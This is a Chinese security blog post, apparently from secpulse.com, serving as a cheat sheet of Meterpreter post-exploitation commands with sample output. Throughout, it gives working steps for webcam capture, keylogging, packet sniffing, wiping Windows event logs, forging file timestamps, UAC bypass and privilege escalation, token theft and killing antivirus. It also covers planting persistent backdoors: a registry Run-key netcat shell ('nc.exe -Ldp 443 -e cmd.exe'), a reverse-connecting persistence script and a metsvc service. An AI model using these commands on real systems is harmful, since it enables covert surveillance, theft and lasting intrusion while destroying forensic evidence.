恶意程序研究之Meterpreter后渗透常用命令

2020-08-05 10,612

声明:

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!



前言



写免杀的时候在想,msf连上后能干啥?之前只有大概的了解下,具体没怎么实操,后面把之前写的文章过了一遍,然后谷歌了一下发现还有好多不知道的地方借此删除了去年写的那篇文章合并到了一起,本篇会持续更新,如果看到师傅们有什么新奇的操作都会记录下来



Metasploit体系框架



一、文件目录解析

核心文件包括datamodulesscriptstoolsplugins

1.data

该文件里常用的的功能在wordlists(字典)里面

2.modules

该文件夹里包括了msf最核心的几个文件

auxiliary(漏洞辅助模块一般是没有攻击载荷的漏洞攻击)
Exploits(渗透攻击模块)
st(开发模块)
pads(漏洞负载模块)
Encode码器模块)
Nops(空指令模块>
3.scripts

该文件夹里面包含着各种脚本

4.tools

该文件夹中存放着大量的使用工具

5.plugins

该文件夹放着大量插件

二、系统命令

1.基本系统命令
sessions -i <ID值>  #进入会话   -k 杀死会话
background  #将当前会话放置后台
run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
info #查看已有模块信息
getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程   kill <PID值> 杀死进程idletime #查看目标机闲置时间
reboot / shutdown   #重启/关机
shell #进入目标机cmd shell
2.开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标

uictl disable mouse  #禁用鼠标
uictl disable keyboard  #禁用键盘
uictl enable mouse  #开启鼠标

3.摄像头命令

webcam_list  #查看摄像头
webcam_snap   #通过摄像头拍照
webcam_stream   #通过摄像头开启视频

如果系统不存在摄像头的话就会报错

meterpreter > webcam_list
[-] webcam_list: Operation failed: A device attached to the system is not functioning.
meterpreter > webcam_snap
[-] webcam_list: Operation failed: A device attached to the system is not functioning.
meterpreter

而如果你存在摄像头的话是这样的

meterpreter > webcam_list
1: FaceTime HD Camera (Built-in)

拍摄照片

4.执行文件

参数列表如下

meterpreter > execute
Usage: execute -f file [options]Executes a command on the remote machine.
OPTIONS:
  -H       Create the process hidden from view.   -a <opt> The arguments to pass to the command.   -c       Channelized I/O (required for interaction).   -d <opt> The 'dummy' executable to launch when using -m.   -f <opt> The executable command to run.   -h       Help menu.   -i       Interact with the process after creating it.   -k       Execute process on the meterpreters current desktop   -m       Execute from memory.   -s <opt> Execute process in a given session as the session user   -t       Execute process with currently impersonated thread token

示例

execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

这个路径是我们shellcode.exe运行的当前路径,如下

meterpreter > execute -H -i -f powershell.exeProcess 12728 created.Channel 1 created.Windows PowerShell??Ȩ???? (C) Microsoft Corporation??????????Ȩ????
?????µĿ?ƽ̨ PowerShell https://aka.ms/pscore6
PS C:\virus\ShellCode\ShellCode\Release>
5.进程迁移

参数列表如下

meterpreter > migrate
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]

示例

getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
kill <pid值>   #杀死进程

ps查看当前进程,这里只列出两个,不然太多了没列出的必要,可以看到wsctrl.exe是系统进程,而powershell.exe是用户启动的进程权限相同

PID   PPID   Name                                                               Arch Session User                 Path---    ----   ----                                                                ----  -------  ----                 ----
2192   708   wsctrl.exe                                                                                              12032  5792   powershell.exe                                                                                                12032  5792   powershell.exe                                                     x64   1       ASCOTBECC20ascotbe C:WindowsSystem32WindowsPowerShellv1.0powershell.exe

如果两个进程的权限不同,也就是说该进程没有要注入的进程权限高的话,是没办法写入到其他进程中去的,比如下面

meterpreter > migrate 2192 
[*] Migrating from 12116 to 2192...
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient privileges)
meter

如果权限相同的启动进程是可以注入的

meterpreter > migrate 12032
[*] Migrating from 180 to 12032...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 12032
6.清除日志
clearev #清除windows中的应用程序日志、系统日志、安全日志,需要管理员权

执行前

执行后

meterpreter > clearev
[*] Wiping 4993 records from Application...
[*] Wiping 2239 records from System...
[*] Wiping 11222 records from Security...

这里有一点要注意的就是,清除日志的话这边在安全和系统这两个地方还是会留着一条日志清除的日志

三、文件系统命令

1.基本文件系统命令

image.png

2.伪造时间戳

参数列表如下

meterpreter > timestomp c://
Usage: timestomp <file(s)> OPTIONS
OPTIONS:
  -a <opt> Set the "last accessed" time of the file   -b       Set the MACE timestamps so that EnCase shows blanks   -c <opt> Set the "creation" time of the file   -e <opt> Set the "mft entry modified" time of the file   -f <opt> Set the MACE of attributes equal to the supplied file   -h       Help banner   -m <opt> Set the "last written" time of the file   -r       Set the MACE timestamps recursively on a directory   -v       Display the UTC MACE values of the file   -z <opt> Set all four attributes (MACE) of the file

示例

timestomp -v C://2.txt   #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

win.ini的时间戳赋值给VirtualAllocPlanB.exe

3.搜索文件

参数列表如下

meterpreter > search -hUsage: search [-d dir] [-r recurse] -f pattern [-f pattern]...Search for files.
OPTIONS:
  -d <opt> The directory/drive to begin searching from. Leave empty to search all drives. (Default: )   -f <opt> A file pattern glob to search for. (e.g. *secret*.doc?)   -h       Help Banner   -r <opt> Recursivly search sub directories. (Default: true)

示例

search -f *secret*.doc  #全局搜索secret.doc这个文件

四、网络命令

1.基本网络命令
ipconfig/ifconfig
netstat –ano
arp
getproxy   #查看代理信息
route   #查看路由
2.端口转发

参数列表如下

meterpreter > portfwd -hUsage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:
  -L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.   -R       Indicates a reverse port forward.   -h       Help banner.   -i <opt> Index of the port forward entry to interact with (see the "list" command).   -l <opt> Forward: local port to listen on. Reverse: local port to connect to.   -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.   -r <opt> Forward: remote host to connect to.

示例

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

接下来只需要连接本地的6666端口即可连上目标

3.添加路由

参数列表如下

meterpreter > run autoroute -h
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.[!] Example: run post/multi/manage/autoroute OPTION=value [...][*] Usage:   run autoroute [-r] -s subnet -n netmask[*] Examples:[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay[*]   run autoroute -p                            # Print active routing table[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes

示例

run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由

然后可以利用arp_scannerportscan等进行扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
4.Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

然后

vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080

最后proxychains 使用Socks4a代理访问



信息收集



信息收集的脚本位于:

/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run post/windows/gather/enum_patches  #补丁信息
run post/windows/gather/enum_domain  #查找域控

一、提权

1.getsystem

工作原理:

  • getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

  • getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

  • Windows服务已启动,导致与命名管道建立连接。

  • 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

2.bypassuac

内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

如使用bypassuac.rb脚本:

msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

三、内核漏洞提权

可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接

meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

四、远程桌面&截屏

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot  #截屏
use espia  #或者使用espia模块截屏  然后输入screengrab
run vnc  #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
1.enumdesktops
meterpreter > enumdesktopsEnumerating all accessible desktops
Desktops========
   Session  Station  Name    -------  -------  ----    1        WinSta0  Default
2.screenshot

3.espia模块

五、开启rdp&添加用户

1.getgui

参数列表如下

meterpreter > run getgui –h
[!] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.[!] Example: run post/windows/manage/enable_rdp OPTION=value [...]Windows Remote Desktop Enabler Meterpreter ScriptUsage: getgui -u <username> -p <password>Or:    getgui -e
OPTIONS:
   -e        Enable RDP only.    -f <opt>  Forward RDP Connection.    -h        Help menu.    -p <opt>  The Password of the user to add.    -u <opt>  The Username of the user to add.

示例

run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661

这种方法不推荐使用,容易创建失败

2.enable_rdp
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

最后用工具连接成功

六、键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

这边要说一点就是,导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了

meterpreter > keyscan_startStarting the keystroke sniffer ...meterpreter > keyscan_dump  #每次转储后,命令都会打印出来,然后再次转储的话是从上一次键盘结束开始记录的Dumping captured keystrokes...fffff<CR><CR><CR>fff<CR><CR><CR>
meterpreter > keyscan_stopStopping the keystroke sniffer...

七、sniffer抓包

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

八、注册表操作

1.参数列表如下
meterpreter reg –hUsage: reg [command] [options]Interact with the target machine's registry.
OPTIONS:
   -d <opt>  The data to store in the registry value.#注册表中值的数据    -h        Help menu.    -k <opt>  The registry key path (E.g. HKLM\Software\Foo).#注册表键路径    -r <opt>  The remote machine name to connect to (with current process credentials#要连接的远程计算机名称(使用当前进程凭据)    -t <opt>  The registry value type (E.g. REG_SZ).#注册表值类型    -v <opt>  The registry value name (E.g. Stuff).#注册表键名称    -w        Set KEY_WOW64 flag, valid values [32|64].#设置32位注册列表还是64位COMMANDS:
   enumkey  Enumerate the supplied registry key [-k <key>]#枚举可获得的键    createkey  Create the supplied registry key  [-k <key>]#创建提供的注册表项    deletekey  Delete the supplied registry key  [-k <key>]#删除提供的注册表项    queryclass Queries the class of the supplied key [-k <key>]#查询键值数据    setval Set a registry value [-k <key> -v <val> -d <data>]#设置键值    deleteval  Delete the supplied registry value [-k <key> -v <val>]#删除提供的注册表值    queryval Queries the data contents of a value [-k <key> -v <val>]#查询值的数据内容
2.注册表设置nc后门
upload /Users/ascotbe/Downloads/netcat-1.11/nc.exe C:\windows\system32 #上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run   #枚举run下的key
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d 'C:windowssystem32nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v lltest_nc   #查看键值nc -v 192.168.0.142 443  #攻击者连接nc后门

设置成功

可以看到目标这边的注册表和进程都也启动了

九、令牌操纵

1.假冒令牌
use incognito      
help incognito  #查看帮助
list_tokens -u    #查看可用的tokenimpersonate_token 'NT AUTHORITYSYSTEM'  #假冒SYSTEM token,或者用下面的
impersonate_token NT AUTHORITY\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
或者直接
shellrev2self   #返回原始token

可以看到我们直接使用SYSTEM权限运行了shell

2.steal_token窃取令牌

参数列表如下

meterpreter > steal_token
Usage: steal_token [pid]

示例

steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token  #删除窃取的token

这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限

meterpreter > steal_token 10340
Stolen token with username: DESKTOP-S5P5JJDascotbe
meterpreter > steal_token 692
[-] stdapi_sys_config_steal_token: Operation failed: Access is denied.

十、关闭杀软

meterpreter> run killav //这个脚本要小心使用,可能导致目标机器蓝屏死机

十一、后门植入

1.persistence启动项后门

C:UsersXXXXXAppDataLocalTemp目录下,上传一个vbs脚本在注册表HKLMSoftwareMicrosoftWindowsCurrentVersionRun加入开机启动项

run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip

2.连接后门

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit

十二、metsvc服务后门

C:UsersXXXXXAppDataLocalTemp上传了三个文件(metsrv.x86.dllmetsvc-server.exemetsvc.exe),通过服务启动,服务名为meterpreter

run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门

1.连接后门

msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit


参考文章



https://xz.aliyun.com/t/2536


本文作者:ascotbe

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/136847.html

Tags:
评论  (0)
快来写下你的想法吧!

ascotbe

文章数:12 积分: 190

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号